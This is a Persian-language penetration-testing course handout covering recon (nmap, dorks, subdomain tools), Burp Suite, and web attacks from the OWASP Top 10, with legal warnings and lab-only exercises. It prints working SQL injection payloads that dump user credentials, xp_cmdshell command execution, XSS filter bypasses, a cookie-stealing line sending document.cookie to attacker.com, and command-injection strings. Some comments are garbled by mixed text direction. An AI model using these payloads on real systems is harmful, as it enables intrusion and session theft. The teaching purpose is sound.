مدل‌های جایگزین همین اسکنر پورت

همان منطق پایه را می‌توان به چند شکل متفاوت پیاده کرد؛ هرکدام یک کاربرد متفاوت دارند:

```
# نسخه‌ی ۱: اسکن یک بازه‌ی کامل به‌جای لیست ثابت
for port in range(1, 1025):
    ...

# نسخه‌ی ۲: استفاده از UDP به‌جای TCP (مثل برای سرویس‌هایی DNS)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b"", (target, port))
# در UDP چون اتصال واقعی برقرار نمی‌شود، تشخیص باز/بسته بودن پیچیده‌تر و کمتر قطعی است

# نسخه‌ی ۳: خروجی رنگی برای خوانایی بهتر در ترمینال
GREEN = "\033[92m"; RESET = "\033[0m"
print(f"{GREEN}[+] OPEN {port}{RESET}")

# نسخه‌ی ۴: ذخیره‌ی خروجی مستقیم در یک فایل JSON به‌جای فقط چاپ
import json
results = {"target": args.host, "open_ports": open_ports}
with open("scan_result.json", "w") as f:
    json.dump(results, f, indent=2)
```

نسخه	چه زمانی استفاده شود
بازه‌ی کامل (range)	وقتی نمی‌دانید دقیقاً دنبال چه سرویسی هستید و می‌خواهید کامل بگردید
UDP	وقتی هدف سرویس‌های مبتنی بر UDP مثل DNS یا SNMP است
خروجی رنگی	وقتی اسکریپت را مستقیم در ترمینال اجرا و نتیجه را سریع می‌خوانید
خروجی JSON	وقتی می‌خواهید نتیجه را بعداً با اسکریپت دیگری پردازش کنید

پروژه‌ی ۲: Banner Grabbing مستقل

```
import socket

s = socket.socket()
s.settimeout(2)
s.connect(("192.168.56.10", 21))
print(s.recv(1024).decode(errors="ignore"))
# نسخه‌ی FTP همان جستجوی اکسپلویت می‌شود؛ را لو می‌دهد
نسخه را انجام داد
```

پروژه‌ی ۳: **Brute-Force** دایرکتوری وب

```
import requests, sys

url, wordlist = sys.argv[1], sys.argv[2]

for word in open(wordlist):
    word = word.strip()
    full_url = url.rstrip("/") + "/" + word
    r = requests.get(full_url, timeout=5)
    if r.status_code not in (404, 400):
        print(r.status_code, "/" + word)
```

خط کد	توضیح
sys.argv[1], sys.argv[2]	دو آرگومان اول خط فرمان را می‌خواند (آدرس هدف و مسیر فایل دیکشنری)
for word in open(wordlist):	فایل دیکشنری را خط‌به‌خط می‌خواند، بدون بارگذاری کامل در حافظه
r.status_code not in (404, 400)	اگر پاسخ «یافت نشد» یا «درخواست نامعتبر» نبود، یعنی احتمالاً این مسیر واقعاً وجود دارد

تمرین خانه: یک اسکنر ساب‌دامین بنویسید که یک دامنه و یک لیست کلمه بگیرد، و با socket.gethostbyname بررسی کند کدام ترکیب‌ها (مثل mail.example.com یا admin.example.com) واقعاً resolve می‌شوند.

۱.۵ شناسایی (**Recon**) — بزرگ‌ترین مهارت یک هکر

یک اصل مشهور در صنعت امنیت می‌گوید حدود ۹۰ درصد موفقیت یک حمله، در مرحله‌ی شناسایی رقم می‌خورد، نه در لحظه‌ی «اکسپلویت». هرچه اطلاعات بیشتر و دقیق‌تری از یک هدف داشته باشید، مسیر حمله روشن‌تر می‌شود.

شناسایی غیرفعال (بدون تماس مستقیم با هدف)

ابزار/روش	کاربرد
Google Dorks	جست‌وجوی پیشرفته در ایندکس گوگل برای یافتن فایل‌ها یا صفحات حساس
whois	اطلاعات مالکیت دامنه و سرورهای DNS
theHarvester	جمع‌آوری خودکار ایمیل و ساب‌دامین از منابع عمومی
crt.sh / certificate transparency	یافتن ساب‌دامین‌ها از طریق گواهی‌های SSL ثبت‌شده‌ی عمومی
Wayback Machine	دیدن نسخه‌های قدیمی یک سایت؛ گاهی فایل یا مسیر فراموش‌شده پیدا می‌شود
Shodan	موتور جست‌وجوی دستگاه‌های متصل به اینترنت (دوربین، مودم، سرور)

نمونه‌ی **Google Dork** ها

```
site:example.com                    # همه‌ی صفحات ایندکس‌شده‌ی این دامنه
site:example.com inurl:admin        # صفحات احتمالی مدیریت
site:example.com filetype:pdf       # فایل‌های PDF منتشرشده
```

```
site:example.com intitle:"index of"      # دایرکتوری‌های باز که لیست فایل نشان می‌دهند
```

شناسایی فعال (تماس مستقیم — فقط روی هدف مجاز!)

nmap مهم‌ترین ابزار این بخش است و در سطح ۲ و ۳ هم مدام استفاده می‌شود:

دستور	کاربرد
`nmap -sn 192.168.56.0/24`	فقط پیدا کردن دستگاه‌های زنده، بدون اسکن پورت
`nmap -sS -sV -sC -O target`	اسکن SYN + تشخیص نسخه + اسکریپت‌های پیش‌فرض + تشخیص سیستم‌عامل
`nmap -p- -T4 target`	اسکن تمام ۶۵۵۳۵ پورت
`nmap --script vuln target`	اجرای اسکریپت‌های آماده برای شناسایی آسیب‌پذیری‌های شناخته‌شده

```
# جریان کامل اسکن یک هدف آزمایشگاهی:
nmap -sn 192.168.56.0/24              # 1) چه کسی زنده است؟
nmap -sS -sV -sC -p- 192.168.56.10    # 2) چه سرویس‌هایی؟ چه نسخه‌هایی؟
nmap --script vuln 192.168.56.10      # 3) آسیب‌پذیری شناخته‌شده؟
```

ابزار دیگر	کاربرد
`whatweb`	تشخیص تکنولوژی سایت (وب‌سرور، CMS، فریمورک)
`gobuster`	کشف دایرکتوری‌ها و فایل‌های مخفی با حمله‌ی دیکشنری
`enum4linux`	شمارش کاربران، اشتراک‌ها و نسخه‌ی ویندوز از طریق سرویس SMB
`masscan`	اسکن فوق‌سریع برای بازه‌های بزرگ IP

فلگ‌های جایگزین و بیشتر **nmap**

nmap ده‌ها فلگ دارد. قالب کلی و بعد چند مثال واقعی با توضیح خط‌به‌خط:

```
nmap [گزینه‌ها] هدف

nmap -sS -T2 target
nmap -sU --top-ports 20 target
nmap -A -oA report target
nmap -iL targets.txt -Pn
```

دستور	توضیح خط‌به‌خط
nmap -sS -T2 target	-sS یعنی اسکن نیمه‌باز (فقط SYN، بدون تکمیل اتصال کامل TCP) که سریع‌تر و کمی مخفیانه‌تر از پیش‌فرض است؛ -T2 سرعت اسکن را عمداً آرام می‌کند تا احتمال شناسایی توسط سیستم‌های تشخیص نفوذ کمتر شود
nmap -sU --top-ports 20 target	-sU یعنی به‌جای TCP، پورت‌های UDP را اسکن کن؛ --top-ports 20 یعنی فقط ۲۰ پورت پرکاربردتر UDP (مثل DNS و SNMP) بررسی شود، نه همه‌ی پورت‌ها، چون اسکن UDP کند است
nmap -A -oA report target	-A یعنی همزمان تشخیص نسخه، تشخیص سیستم‌عامل، و اسکریپت‌های پیش‌فرض را فعال کن؛ -oA report یعنی خروجی را همزمان در سه فرمت مختلف (متنی، XML، Grepable) با نام پایه‌ی report ذخیره کن

nmap -iL targets.txt -Pn	-iL targets.txt یعنی به‌جای یک هدف، لیستی از چندین هدف را از این فایل بخوان؛ -Pn یعنی فرض کن همه‌ی اهداف زنده‌اند و مرحله‌ی ping اولیه را رد کن (برای اهدافی که به ping پاسخ نمی‌دهند ولی واقعاً روشن‌اند)

چند روش جایگزین برای کشف ساب‌دامین

ابزار/روش	چه فرقی دارد
theHarvester -d target -b crtsh	جست‌وجو فقط در منابع گواهی SSL (Certificate Transparency)
theHarvester -d target -b google,bing	جست‌وجو در موتورهای جست‌وجوی عمومی به‌جای گواهی‌ها
subfinder -d target -silent	خروجی ساده و فقط لیست ساب‌دامین‌ها، مناسب برای لوله‌کشی (pipe) به ابزار بعدی
amass enum -d target	ابزار جامع‌تر که چندین منبع را هم‌زمان ترکیب می‌کند؛ کندتر ولی کامل‌تر

تمرین عملی ۱.۳: پروفایل کامل یک هدف آزمایشگاهی

1. whois و اطلاعات کامل DNS هدف را بگیرید
2. با theHarvester ساب‌دامین و ایمیل‌های عمومی را جمع کنید
3. با whatweb تکنولوژی‌های استفاده‌شده را شناسایی کنید
4. با nmap اسکن کامل سرویس‌ها و نسخه‌ها را انجام دهید
5. با gobuster به‌دنبال فایل‌های robots.txt، sitemap.xml و صفحات ورود بگردید
6. همه‌ی یافته‌ها را در یک «گزارش شناسایی» با بخش‌های خلاصه، تکنولوژی‌ها، سرویس‌ها، یافته‌ها و ریسک‌ها بنویسید

چک‌لیست مهارت سطح ۱

- سی دستور لینوکس و پانزده دستور ویندوز را بدون مراجعه می‌زنم
- ساختار IP/TCP، پورت‌های معروف و دست‌دهی سه‌مرحله‌ای را توضیح می‌دهم
- سه اسکریپت پایتون (اسکنر پورت با آرگومان، Brute-Force، Banner Grabber دایرکتوری) را خودم نوشته‌ام
- یک اسکنر ساب‌دامین نوشته‌ام
- با nmap پنج فلگ اصلی و اسکریپت‌های NSE را به‌کار می‌برم
- یک گزارش شناسایی کامل برای یک هدف آزمایشگاهی نوشته‌ام

پایان قسمت ۱ (سطح ۰ و سطح ۱). قسمت بعدی این مجموعه، سطح ۲ (هک وب‌اپلیکیشن، کار کامل با Burp Suite و تمام آسیب‌پذیری‌های OWASP Top 10) را با همین عمق و همین تعداد مثال پوشش خواهد داد.

مسیر حرفه‌ای هک و امنیت سایبری

قسمت ۲: سطح ۲ — هک وب‌اپلیکیشن

معماری وب، تسلط کامل بر Burp Suite، و تمام آسیب‌پذیری‌های Top 10 OWASP

> هشدار قانونی و اخلاقی:
> تمام تمرین‌های این جزوه فقط باید روی وب‌سایت‌های آزمایشی طراحی‌شده برای تمرین (DVWA، OWASP Juice Shop، یا کارگاه آزمایشی دانشگاه) اجرا شوند. تست روی هر وب‌سایت واقعی بدون مجوز رسمی، جرم است.

سطح ۲ — هک وب‌اپلیکیشن

اپلیکیشن‌های وب بزرگ‌ترین سطح حمله در دنیای امروز هستند — از سایت‌های فروشگاهی تا پنل‌های بانکی. در این سطح، هم ابزار اصلی هکرهای وب (Burp Suite) را یاد می‌گیرید، هم تمام آسیب‌پذیری‌های معروف لیست OWASP Top 10 را به‌صورت دستی و عملی تمرین می‌کنید.

۲.۱ معماری وب از دید هکر

HTTP عمیق‌تر

مفهوم	توضیح
متدها	GET (گرفتن داده)، POST (ارسال داده)، PUT (جایگزینی)، DELETE (حذف)
بدنه‌ی درخواست	داده‌ای که همراه POST/PUT فرستاده می‌شود؛ معمولاً JSON یا form-data
کدهای وضعیت	200 (موفق)، 301/302 (ریدایرکت)، 403 (ممنوع)، 404 (یافت نشد)، 500 (خطای سرور)
هدرها	اطلاعات اضافی درخواست/پاسخ؛ شامل نوع محتوا، کوکی، منبع درخواست و موارد امنیتی

هدرهای کلیدی برای یک هکر

هدر	کاربرد
Cookie	اطلاعات جلسه‌ی کاربر؛ هدف اصلی حملات Session Hijacking
Authorization: Bearer	توکن احراز هویت (معمولاً JWT) در API های مدرن
Origin / Referer	نشان‌دهنده‌ی منبع درخواست؛ پایه‌ی بررسی حملات CSRF و CORS
Content-Type	نوع داده‌ی ارسالی (JSON، form، و غیره)
Content-Security-Policy	یک هدر دفاعی که منابع مجاز بارگذاری محتوا را محدود می‌کند
X-Frame-Options	جلوگیری از نمایش سایت داخل iframe یک سایت دیگر (دفاع در برابر Clickjacking)

جلسه (Session) و نحوه‌ی کار آن

چون HTTP یک پروتکل «بدون حالت» (Stateless) است، هر درخواست مستقل از درخواست قبلی است. برای اینکه سرور بفهمد یک کاربر قبلاً وارد شده، از یکی از این روش‌ها استفاده می‌شود:

روش	توضیح
Session ID در کوکی	سرور یک شناسه‌ی تصادفی می‌سازد و در کوکی کاربر ذخیره می‌کند؛ خودش هم وضعیت کاربر را نگه می‌دارد
JWT (JSON Web Token)	یک توکن خوداثبات‌کننده که اطلاعات کاربر را درون خودش (رمزنگاری یا امضاشده) حمل می‌کند

انکودینگ‌ها — زبان پنهانی وب

نوع انکودینگ	مثال	کجا دیده می‌شود
URL Encoding	%27 به‌جای کاراکتر '	پارامترهای داخل آدرس وب

HTML Entity	به‌جای <	محتوای نمایش‌داده‌شده در صفحه
Base64	به‌جای admin YWRtaW4=	توکن‌ها، داده‌های باینری در متن

خیلی از فیلترهای امنیتی ضعیف فقط دنبال یک الگوی مشخص (مثل <script>) می‌گردند؛ اگر همان payload با یکی از این انکودینگ‌ها پنهان شود، ممکن است فیلتر رد شود ولی مرورگر یا دیتابیس هنوز آن را به‌درستی بفهمد.

Same-Origin Policy و CORS

به‌طور پیش‌فرض، کد جاوااسکریپت یک سایت نمی‌تواند داده‌ی سایت دیگری را بخواند — این قانون Same-Origin Policy نام دارد. CORS (Cross-Origin Resource Sharing) مکانیزمی است که به یک سایت اجازه می‌دهد صراحتاً بگوید «این دامنه‌های دیگر هم مجاز به خواندن داده‌ی من هستند». وقتی این تنظیمات اشتباه پیکربندی شوند (مثلاً اجازه به همه‌ی دامنه‌ها همراه با اجازه‌ی ارسال کوکی)، یک آسیب‌پذیری جدی ایجاد می‌شود.

معماری معمول یک اپلیکیشن مدرن

اکثر سایت‌های امروزی از سه لایه تشکیل شده‌اند: فرانت‌اند (جاوااسکریپت که در مرورگر اجرا می‌شود)، یک API در بک‌اند (معمولاً REST)، و یک پایگاه داده (اغلب MySQL یا SQL Server). بیشترین سطح حمله معمولاً در نقطه‌ی ارتباط API با پایگاه داده است — دقیقاً جایی که SQL Injection رخ می‌دهد.

> اگر با SQL Server کار کرده‌اید، در فهم SQL Injection (بخش ۲.۵) خیلی جلوتر از یک مبتدی خواهید بود — مفاهیمی مثل UNION query و information_schema برایتان آشنا خواهند بود، فقط باید دید «حمله» را به آن‌ها اضافه کنید.

۲.۲ Burp Suite — چاقوی سوئیسی هکر وب

راه‌اندازی اولیه

1. در Burp، به مسیر Proxy > Proxy Settings بروید و مطمئن شوید روی پورت 8080 در حال گوش دادن است
2. در مرورگر (ترجیحاً Firefox با افزونه‌ی FoxyProxy)، پروکسی را روی 127.0.0.1:8080 تنظیم کنید
3. برای رهگیری ترافیک HTTPS، گواهی Burp را نصب کنید (از مسیر http://burp در مرورگر وقتی پروکسی فعال است)

چهار ابزار اصلی Burp

ابزار	کاربرد	مثال استفاده
Proxy / HTTP History	دیدن و ویرایش تمام درخواست‌ها و پاسخ‌های رد و بدل‌شده	پیدا کردن درخواست فرم ورود برای تحلیل بیشتر
Repeater	دستکاری و ارسال مجدد یک درخواست خاص، به‌دفعات	تغییر پارامتر id به ' و مشاهده‌ی پاسخ احتمالی خطای SQL
Intruder	خودکارسازی حملات تکراری با لیستی از مقادیر	امتحان کردن هزاران رمز عبور روی یک فرم ورود
Decoder / Comparer	رمزگشایی/رمزگذاری داده و مقایسه‌ی دو پاسخ	دیکود کردن یک توکن Base64 یا مقایسه‌ی پاسخ ورود موفق/ناموفق

چهار حالت حمله در Intruder

حالت	کاربرد
Sniper	یک لیست مقدار روی یک یا چند جایگاه؛ به‌ترتیب هرکدام را امتحان می‌کند
Battering Ram	همان یک مقدار را هم‌زمان در همه‌ی جایگاه‌ها قرار می‌دهد
Pitchfork	چند لیست مختلف، هرکدام روی یک جایگاه، به‌صورت موازی و هم‌ردیف
Cluster Bomb	چند لیست مختلف، همه‌ی ترکیب‌های ممکن (مثلاً برای حمله‌ی یوزرنیم+پسورد هم‌زمان)

افزونه‌های مهم (از BApp Store)

افزونه	کاربرد
++Logger	جست‌وجوی پیشرفته و فیلتر در کل تاریخچه‌ی ترافیک
Param Miner	کشف پارامترهای مخفی که در کد مشخص نیستند
JWT Editor	ساخت، دیکود و دستکاری توکن‌های JWT
++Active Scan	تقویت اسکنر خودکار Burp برای یافتن آسیب‌پذیری‌های بیشتر

تمرین عملی ۲.۱

روی DVWA با سطح امنیتی Low وارد شوید. تمام درخواست‌ها را در HTTP History مشاهده کنید. درخواست صفحه‌ی Vulnerabilities را به Repeater بفرستید و پارامترهای مختلف را دستی دستکاری کنید تا با رفتار Burp کاملاً آشنا شوید — این ابزار تا پایان این سطح، همراه همیشگی شماست.

۲.۳ کشف محتوا و پارامترهای مخفی

دو ابزار اصلی این کار gobuster (ساده‌تر) و ffuf (سریع‌تر و قابل‌تنظیم‌تر) هستند:

```
gobuster dir [گزینه‌ها]
ffuf [گزینه‌ها]

gobuster dir -u http://target -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
php,txt,bak,old
ffuf -u http://target/FUZZ -w wordlist.txt -mc all -fc 404 -t 40 -o
result.json
```

دستور	توضیح خط‌به‌خط
gobuster dir -u http://target -w wordlist.txt -x php,txt,bak,old	dir یعنی حالت کشف دایرکتوری/فایل؛ -u آدرس هدف؛ -w مسیر فایل دیکشنری کلمات؛ -x php,txt,bak,old یعنی برای هر کلمه، این پسوندها را هم امتحان کن (مثلاً به‌جای «admin»، فقط «admin.php» و «admin.bak» هم تست شوند)
ffuf -u http://target/FUZZ -w wordlist.txt -mc all -fc 404 -t 40 -o result.json	کلمه‌ی FUZZ در آدرس، محل دقیق جایگزینی هر خط دیکشنری است؛ -w فایل دیکشنری؛ -mc all یعنی تمام کدهای وضعیت را نشان بده؛ -fc 404 یعنی فقط نتایج با کد 404 (یافت نشد) را از خروجی حذف کن؛ -t 40 یعنی ۴۰ درخواست هم‌زمان بفرست (سرعت بیشتر)؛ -o result.json یعنی خروجی را در این فایل با فرمت JSON ذخیره کن

```
# کشف پارامترهای مخفی یک endpoint
arjun -u http://target/api
```

فایل‌هایی که همیشه باید جداگانه چک شوند

```
/robots.txt
/sitemap.xml
/admin
/backup.zip
/.git/config
/swagger.json
/api/docs
/.env
```

یک فایل .git/config باز یعنی کد منبع کامل سایت قابل‌بازیابی است. یک فایل backup.zip می‌تواند شامل کل اپلیکیشن، از جمله تنظیمات اتصال به دیتابیس، باشد. این‌ها در تست‌های واقعی (مجاز) یافته‌های بسیار باارزشی هستند.

۲.۴ متدولوژی کامل تست وب (چک‌لیست ۲۰ مرحله‌ای)

این چک‌لیست، نقشه‌ی راه هر تست امنیت وب است — از شناسایی تا گزارش نهایی:

1. شناسایی ساب‌دامین‌ها و پورت‌های وب (سطح ۱)
2. فینگرپرینت تکنولوژی (whatweb) و کشف محتوا (gobuster)
3. مرور دستی همه‌ی صفحات و ثبت تمام درخواست‌ها در Burp
4. نقشه‌برداری نقش‌ها: مهمان، کاربر عادی، ادمین — چه کسی به چه چیزی دسترسی دارد؟

5. تست احراز هویت: Brute-Force، کاربر پیش‌فرض، قفل‌شدگی حساب
6. تست فرایند فراموشی رمز: آیا توکن قابل حدس است؟
7. بررسی بازتاب (Reflection) هر پارامتر در GET/POST/Cookie/Header
8. تست SQL Injection روی تمام پارامترها
9. تست XSS (هم Reflected و هم Stored) در هر پارامتر
10. تست دسترسی افقی (IDOR): جابه‌جا کردن آیدی‌ها بین دو حساب تستی
11. تست آپلود فایل: پسوند، نوع محتوا، دوبل‌اکستنشن
12. تست Command/SQL Injection در فرم‌های جست‌وجو و گزارش‌گیری
13. بررسی SSRF در هر ویژگی که یک URL از کاربر می‌گیرد
14. بررسی XXE در هر آپلود XML (مثل SVG یا فایل‌های Office)
15. تست CSRF روی اکشن‌های حساس (تغییر رمز، تغییر ایمیل)
16. بررسی خطاهای نمایش‌داده‌شده برای یافتن اطلاعات فنی اضافی
17. تست API: رفتار بدون توکن، متدهای غیرمجاز، Mass Assignment
18. بررسی هدرهای امنیتی و تنظیمات کوکی
19. بررسی صفحات مدیریتی و کامنت‌های باقی‌مانده در سورس
20. نوشتن گزارش نهایی با تمام یافته‌ها، شدت، اثبات و راه‌حل

۲.۵ SQL Injection — پادشاه حملات دیتابیسی

تمرین محیط: DVWA (از سطح Low تا High) و OWASP Juice Shop. تمام این تمرین‌ها فقط روی این دو محیط آزمایشی انجام شود.

وقتی ورودی کاربر مستقیماً داخل یک کوئری SQL قرار بگیرد، کاربر می‌تواند با وارد کردن کاراکترهای خاص، ساختار آن کوئری را تغییر دهد. کد آسیب‌پذیر معمولاً این‌شکلی است:

```
SELECT * FROM users WHERE username = '$user' AND password = '$pass'
```

مرحله‌ی ۱: تشخیص

اولین قدم، اضافه کردن یک کوتیشن تکی و مشاهده‌ی رفتار سایت است:

```
input: admin'
# اگر سایت خطای SQL نشان داد یا رفتارش عجیب شد، نشانه‌ی احتمال تزریق است
```

دور زدن احراز هویت با تزریق منطقی

```
username: admin' OR '1'='1
password: anything
# کوئری نهایی همیشه درست است True همیشه '1'='1' می‌شود چون

username: admin'--
# در «کامنت» یعنی هر چیزی بعد از آن دو خط‌تیره یعنی SQL ؛ (شامل بررسی رمز) نادیده گرفته می‌شود
```

مرحله‌ی ۲: شمارش ستون‌ها با ORDER BY

قبل از استفاده از UNION برای استخراج داده، باید دقیقاً بدانیم کوئری اصلی چند ستون دارد:

```
1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 3-- -
# عددی که اولین بار خطا داد، یعنی یکی بیشتر از تعداد واقعی ستون‌هاست
```

مرحله‌ی ۳: استخراج داده با UNION

```
1' UNION SELECT null,null,null-- -
# اگر خطا نداد، تعداد ستون‌ها درست است (هرکدام null)

1' UNION SELECT null,version(),null-- -
# نسخه‌ی دیتابیس را به‌جای یکی از ستون‌ها نمایش می‌دهد

1' UNION SELECT null,schema_name,null FROM
information_schema.schemata-- -
```

```
# لیست تمام دیتابیس‌های موجود روی سرور

1' UNION SELECT null,table_name,null FROM information_schema.tables
WHERE table_schema='webdb'-- -
# لیست جدول‌های یک دیتابیس خاص

1' UNION SELECT null,column_name,null FROM information_schema.columns
WHERE table_name='users'-- -
# لیست ستون‌های جدول users

1' UNION SELECT null,CONCAT(username,':',password),null FROM users-- -
# استخراج نهایی نام کاربری و رمز (یا هش رمز) تمام کاربران
```

بخش پیلود	توضیح
UNION SELECT	نتیجه‌ی یک کوئری دوم را به نتیجه‌ی کوئری اصلی اضافه می‌کند
information_schema	یک «دیتابیس متا» در MySQL که اطلاعات ساختاری همه‌ی دیتابیس‌ها، جدول‌ها و ستون‌ها را نگه می‌دارد
CONCAT(a, ':', b)	دو مقدار را در یک رشته با جداکننده ترکیب می‌کند، تا بشود در یک ستون هر دو را دید
- --	علامت کامنت SQL؛ باقی‌مانده‌ی کوئری اصلی (مثل کوتیشن بسته‌نشده) را بی‌اثر می‌کند

حمله‌ی Blind SQL Injection (وقتی خطا نمایش داده نمی‌شود)

خیلی از سایت‌های واقعی خطای SQL را مستقیم نشان نمی‌دهند. در این حالت باید از رفتار متفاوت صفحه در حالت True/False یا از تأخیر زمانی استفاده کرد:

```
# Boolean-based: مقایسه‌ی رفتار صفحه در دو حالت
1' AND 1=1-- -      # پاسخ عادی (چون 1=1 درست است)
1' AND 1=2-- -      # پاسخ متفاوت (چون 1=2 نادرست است)

# استخراج حرف‌به‌حرف یک مقدار با Boolean-based:
1' AND SUBSTRING(user(),1,1)='r'-- -
# اگر پاسخ True است؛ 'r' اولین حرف نام کاربر دیتابیس بود، این روند برای هر حرف تکرار می‌شود

# Time-based: وقتی حتی تفاوت رفتار هم دیده نمی‌شود
1' AND SLEEP(5)-- -                    # MySQL: اگر تزریق کار کند، پاسخ ۵ ثانیه دیر می‌رسد
1'; WAITFOR DELAY '0:0:5'-- -          # SQL Server: همان منطق با نحو متفاوت
```

استخراج دستی حرف‌به‌حرف با Blind SQLi بسیار کند است؛ برای همین در عمل این فرایند را به ابزارهایی مثل sqlmap می‌سپارند که هزاران درخواست را خودکار و سریع می‌فرستند.

خودکارسازی با sqlmap

```
sqlmap -u "هدف" [گزینه‌ها]

sqlmap -u "http://target/item.php?id=1" --batch --banner
sqlmap -u "http://target/item.php?id=1" -D webdb -T users --columns --
dump
sqlmap -r request.txt --batch --level=3 --risk=2
sqlmap -u "http://target" --forms --crawl=2
```

دستور	توضیح خط‌به‌خط
sqlmap -u "...?id=1" --batch --banner	-u یعنی آدرس هدف؛ --batch یعنی به تمام سؤالات تعاملی sqlmap خودکار پاسخ پیش‌فرض بده (بدون توقف برای تأیید دستی)؛ --banner یعنی فقط نسخه‌ی دیتابیس را نشان بده و متوقف شو
sqlmap -u "..." -D webdb -T users --columns --dump	-D webdb یعنی روی این دیتابیس خاص کار کن؛ -T users یعنی این جدول خاص؛ --columns یعنی اول لیست ستون‌ها را بگیر؛ --dump یعنی تمام داده‌ی این جدول را استخراج و نمایش بده
sqlmap -r request.txt --batch --level=3 --risk=2	-r request.txt یعنی به‌جای ساختن درخواست از صفر، یک درخواست کامل (که از Burp کپی و در یک فایل متنی ذخیره شده، شامل کوکی و هدرها) را به‌عنوان پایه استفاده کن؛ --level=3 یعنی عمق تست را افزایش بده (تست روی هدرها و کوکی‌ها هم)؛ --risk=2 یعنی پیلودهای کمی تهاجمی‌تر هم امتحان کن
sqlmap -u "http://target" --forms --crawl=2	--forms یعنی خودت فرم‌های HTML صفحه را پیدا و تست کن؛ --crawl=2 یعنی از صفحه‌ی اصلی شروع کن و تا عمق ۲ لینک، در کل سایت بگرد تا فرم‌های بیشتری پیدا شود

نکته‌ی پیشرفته: اجرای دستور سیستم از طریق SQL Server

یکی از ویژگی‌های قدرتمند (و خطرناک) SQL Server، قابلیت xp_cmdshell است که اجازه می‌دهد از داخل یک کوئری SQL، یک دستور سیستم‌عامل اجرا شود — یعنی اگر این قابلیت فعال و قابل‌دسترسی باشد، SQL Injection می‌تواند مستقیماً به کنترل کامل سرور تبدیل شود:

```
1'; EXEC master..xp_cmdshell 'whoami'-- -
```

> این تکنیک را روی یک نصب محلی و آزمایشی SQL Server Express تمرین کنید، نه هیچ سرور واقعی. این دقیقاً نقطه‌ای است که هک یک سایت (سطح ۲) به کنترل کامل یک سرور ویندوزی (سطح ۳) متصل می‌شود.

دفاع در برابر SQL Injection

- استفاده از Parameterized Query یا ORM به‌جای چسباندن مستقیم ورودی کاربر در متن کوئری
- اعمال اصل کمترین دسترسی روی حساب کاربری دیتابیس (مثلاً بدون اجازه‌ی DROP TABLE)
- عدم نمایش پیام خطای خام SQL به کاربر نهایی
- فایروال اپلیکیشن وب (WAF) فقط یک لایه‌ی کمکی است، نه جایگزین کد امن

تمرین عملی ۲.۲

روی DVWA (سطح Low): تمام انواع SQLi (Union-based، Blind، Error-based) را هم دستی هم با sqlmap انجام دهید. سپس همان تکنیک‌ها را روی سطح Medium و High امتحان کنید و ببینید فیلترهای بیشتر چطور باید دور زده شوند. در Juice Shop، چالش‌های دسته‌بندی‌شده‌ی Injection را با استفاده از Burp کامل کنید.

۲.۶ XSS — تزریق جاوااسکریپت

XSS (Cross-Site Scripting) یعنی تزریق کدی که در مرورگر قربانی دیگر (نه سرور) اجرا می‌شود. سه نوع اصلی دارد:

نوع اول: Reflected XSS

ورودی کاربر مستقیماً در همان پاسخ بازتاب داده می‌شود، بدون ذخیره‌سازی:

```
<script>alert(1)</script>
<img src=x onerror=alert(1)>          # فیلتر شده وقتی تگ script باشد
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
```

پیلود	چرا کار می‌کند
<...=img src=x onerror>	تصویر با آدرس نامعتبر لود نمی‌شود، پس رویداد onerror فعال و کد داخلش اجرا می‌شود
<...=svg onload>	تگ SVG به‌محض لود شدن، رویداد onload را اجرا می‌کند

نوع دوم: Stored XSS

پیلود در جایی ذخیره می‌شود (مثل کامنت، نام پروفایل، یا فرم تماس) و هر بار که آن صفحه برای هر کاربری نمایش داده شود، دوباره اجرا می‌شود — این نوع خطرناک‌تر است چون قربانیان متعددی را هدف می‌گیرد.

نوع سوم: DOM-based XSS

آسیب‌پذیری کاملاً در سمت کلاینت و داخل کد جاوااسکریپت رخ می‌دهد، بدون اینکه داده حتی به سرور برسد. برای یافتن آن باید در سورس جاوااسکریپت دنبال نقاط ورودی خطرناک (Sink) گشت:

Sink خطرناک	چرا خطرناک است
`innerHTML`	هر محتوایی که در آن قرار بگیرد، به‌عنوان HTML واقعی رندر می‌شود
`document.write()`	محتوا را مستقیم در صفحه می‌نویسد، بدون هیچ پاکسازی
`eval()`	رشته‌ی داده‌شده را به‌عنوان کد جاوااسکریپت اجرا می‌کند

دور زدن فیلترهای ساده

```
<ScRiPt>alert(1)</sCrIpT>                  # تغییر بزرگی/کوچکی حروف
" onmouseover="alert(1)                    # موجود attribute خروج از یک
<scr<script>ipt>alert(1)</scr</script>ipt>  # وقتی فیلتر فقط یک‌بار کلمه‌ی script را حذف می‌کند
```

اثر واقعی یک XSS موفق

```
document.location='http://attacker.com/steal?c=' + document.cookie
```

```
# کوکی قربانی (شامل Session ID) به سرور مهاجم ارسال می‌شود
```

> اگر کوکی جلسه دزدیده شود، مهاجم می‌تواند بدون دانستن رمز عبور، خودش را جای قربانی جا بزند (Session Hijacking). این دقیقاً چرا تنظیم HttpOnly روی کوکی‌های حساس، مانع خواندن آن‌ها توسط جاوااسکریپت می‌شود.

دفاع در برابر XSS

- انکود کردن خروجی بر اساس زمینه (Context-aware Encoding): متفاوت برای HTML، attribute، یا جاوااسکریپت
- تنظیم هدر Content-Security-Policy برای محدود کردن منابع مجاز اجرای اسکریپت
- تنظیم HttpOnly روی کوکی‌های حساس تا از طریق جاوااسکریپت قابل‌خواندن نباشند

تمرین عملی ۲.۳

هر سه نوع XSS را روی DVWA در سه سطح امنیتی مختلف تمرین کنید. یک «جمع‌کننده‌ی کوکی» ساده با یک سرور وب کوچک پایتون (http.server) بسازید و Stored XSS را روی خودِ همین محیط آزمایشی تست کنید.

۲.۷ بقیه‌ی Top 10 OWASP — خلاصه‌ی اجرایی

جدول زیر خلاصه‌ی عملی بقیه‌ی آسیب‌پذیری‌های مهم OWASP Top 10 است — برای هرکدام، تست کنید و در گزارش خودتان مستند کنید:

آسیب‌پذیری	چطور تست می‌شود	پیلود/ابزار کلیدی
Broken Access Control (IDOR)	آیدی یک فایل/رکورد کاربر A را با حساب کاربر B امتحان کنید	دو حساب تستی + افزونه‌ی Autorize برای مقایسه‌ی خودکار
Command Injection	در فیلدهایی مثل ping یا گزارش‌ساز، کاراکترهای ترکیب‌کننده‌ی دستور را امتحان کنید	`whoami | whoami | `whoami ;
File Upload → RCE	هر جایی که آپلود فایل وجود دارد را تست کنید	پسوند .phtml/.php5، دوبل‌اکستنشن مثل shell.jpg.php
